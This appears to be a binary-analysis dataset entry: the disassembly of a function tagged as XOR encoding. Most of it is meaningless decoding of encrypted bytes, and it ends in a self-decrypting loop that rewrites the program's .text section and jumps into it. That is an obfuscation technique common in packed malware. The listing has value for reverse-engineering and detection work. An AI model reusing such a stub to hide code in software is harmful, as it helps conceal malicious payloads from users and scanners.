Function at 0x40f2e6
Capabilities:
Encode data using xor

Disassembly:
and eax, 0xe87e7e25
mov al, 0x8a
or eax, 0xaef96ab0
push 9
test al, 0xa2
add eax, 0x752b9a25
or eax, 0x25252c6f
or eax, 0x25252c8a
in al, dx
push 0x21
and esp, dword [esp]
and al, 0xb0
push 9
adc byte [eax], bh
pop eax
in eax, 0x65
call 0xec4e7cbc
push 0x21
and esp, dword [esp]
and al, 0xdd
and al, 0x25
and eax, 0x488a0d25
and eax, 0xdd0de825
nop
and eax, 0x233b0e25
or eax, 0x252590dd
push cs
cmp esp, dword [ebx]
and al, 0x24
jp 0x40f1d9
adc dword [esi + 0x78], esi
mov al, 0x6a
xor dword [eax + 0x6aae31e5], ebp
and dword [ecx + 0x252542b0], ecx
and eax, 0x8928b025
enter 0x2525, 0x25
and eax, 0xb02d6ab0
xor byte [ecx], 0xb0
xchg edx, eax
and dword [eax + 0x5242188], esi
sub dh, 0xe7
sub eax, 0xac7e7d25
sub dword [ecx + 0x24], ecx
add eax, 0x7611b07a
jbe 0x40f2dc
jnp 0x40f2e2
mov dword [eax + 0x2525255a], esi
and eax, 0xec219aae
push 0x1d
lodsb al, byte [esi]
pop ss
and eax, 0x9a24258f
xor dword [edx + ebx*4], esp
sbb eax, 0xd2d9a24
sahf
inc eax
and eax, 0xb0316ab0
sub dword gs:[eax + 0x72b02205], ebp
xor dword [esi - 0x4f76d69a], ebp
bound esp, qword [0xb0252525]
and byte [ecx], 0xae
pushal
mov dword [esi + 0x25252542], ebp
and eax, 0xee808384
out 0x2d, eax
and eax, 0xa811b07a
adc dword [0x217c7b78], ebp
scasb al, byte es:[edi]
push 0x21
pop eax
in eax, 0x75
jne 0x40f337
and al, 0x9a
and dword [edx + ebx*4], esp
cmp dword [edx + ebx*4], esp
xor eax, 0x24319a24
lcall 0x2525, 0x9c630d2d
test al, 0xe9
inc ebp
scasb al, byte es:[edi]
push 0x1d
test byte [ebx + 0x1d6ab080], al
mov al, 0xa
sub al, 0x7b
and dword [eax - 0x4fceb667], esi
jae 0x40f31c
pop eax
or eax, 0x24241683
invalid
js 0x40f2c4
mov byte [0x2526482d], al
and eax, 0xe4dd379a
sbb byte [ebp + 0x25], ah
mov al, 0x72
xor dword [esi + 0x65e55826], ebp
push cs
aad 0x25
and eax, 0xfd8aa825
and eax, 0x10016aec
sbb byte [ebp + 0x25], ah
invalid
and eax, 0x25fd8aa8
in al, dx
push 1
adc byte [eax], bl
and eax, 0x67001dc6
and eax, 0x58fd72b2
out 0xae, al
push 5
mov al, 0x6a
cmp eax, 0xb0096aae
push 0x31
scasb al, byte es:[edi]
push 0xd
mov al, 0x6a
inc ecx
scasb al, byte es:[edi]
push 0x11
mov al, 0x6a
inc ebp
scasb al, byte es:[edi]
push 0x15
test al, 0x8a
sbb dword [0x251d8aa8], esp
test al, 0x8a
and dword [0xae198aae], esp
xchg edx, eax
sbb eax, 0x2525c689
and eax, 0xfd6aae25
mov dl, 0x6a
std
mov eax, ecx
and eax, 0xec252525
push 0xffffffffffffffed
and eax, 0x6ab02525
sub eax, 0xb0f16aae
push 0x35
scasb al, byte es:[edi]
push 0xfffffffffffffff5
or eax, 0x25255725
mov al, 0xa5
movsd dword es:[edi], dword [esi]
and eax, 0x6aae2525
stc
mov dl, 0x6a
int1
jne 0x40f362
push 0x2d
and al, 0x55
and al, 0x7a
stc
jle 0x40f439
test al, 0x8a
in eax, dx
and eax, 0x2521a2a8
cdq
cmp al, 0x89
mov al, 0x42
and eax, 0xb0252525
sub byte [eax + 0x28aefd82], dh
mov dword [esi + 0x25252542], ebp
and eax, 0x6ab02e10
std
mov eax, ecx
and eax, 0xb0252525
push 0xffffffffffffffed
sub dh, 0xe8
jp 0x40f39d
adc dword [esi + 0x78], esi
and dword [eax + 0x6db0316a], esi
sub eax, 0xd317258
jp 0x40f412
and al, 0x24
mov al, 0x6a
sub eax, 0xa82965b0
add eax, 0xb036998b
push 0x31
in al, dx
dec ecx
and eax, 0xe5582525
adc byte gs:[ecx + 0x268f8f10], dl
and eax, 0x65e55825
adc byte [ecx + 0x268f8f10], dl
mov al, 0x6a
xor dword [edx*4 + 0x316ab03d], esp
and al, 0x95
cmp dword [eax - 0x6adbce96], esi
xor dword [edi + 0x359a2425], ecx
mov al, 0x6a
xor dword [edx*4 + 0x2d9a2435], esp
or eax, 0x25259af7
test al, 0xe9
xor eax, 0xd2d9a24
neg dword [edx - 0x1657dadb]
inc ebp
mov al, 0x6a
xor dword [eax - 0x65dab663], ebp
xor byte [edx + ebx*4], ah
sub eax, 0xd319a24
sub ah, byte [ebx]
and al, 0x24
invalid
pushal
mov esi, 0
mov bl, byte [esi + section..text]
sub bl, 0x82
sub bl, 0xc6
sub bl, 0xdd
mov byte [esi + section..text], bl
add esi, 1
cmp esi, 0x2319b
jne 0x4241a1
popal
jmp 0x40f21d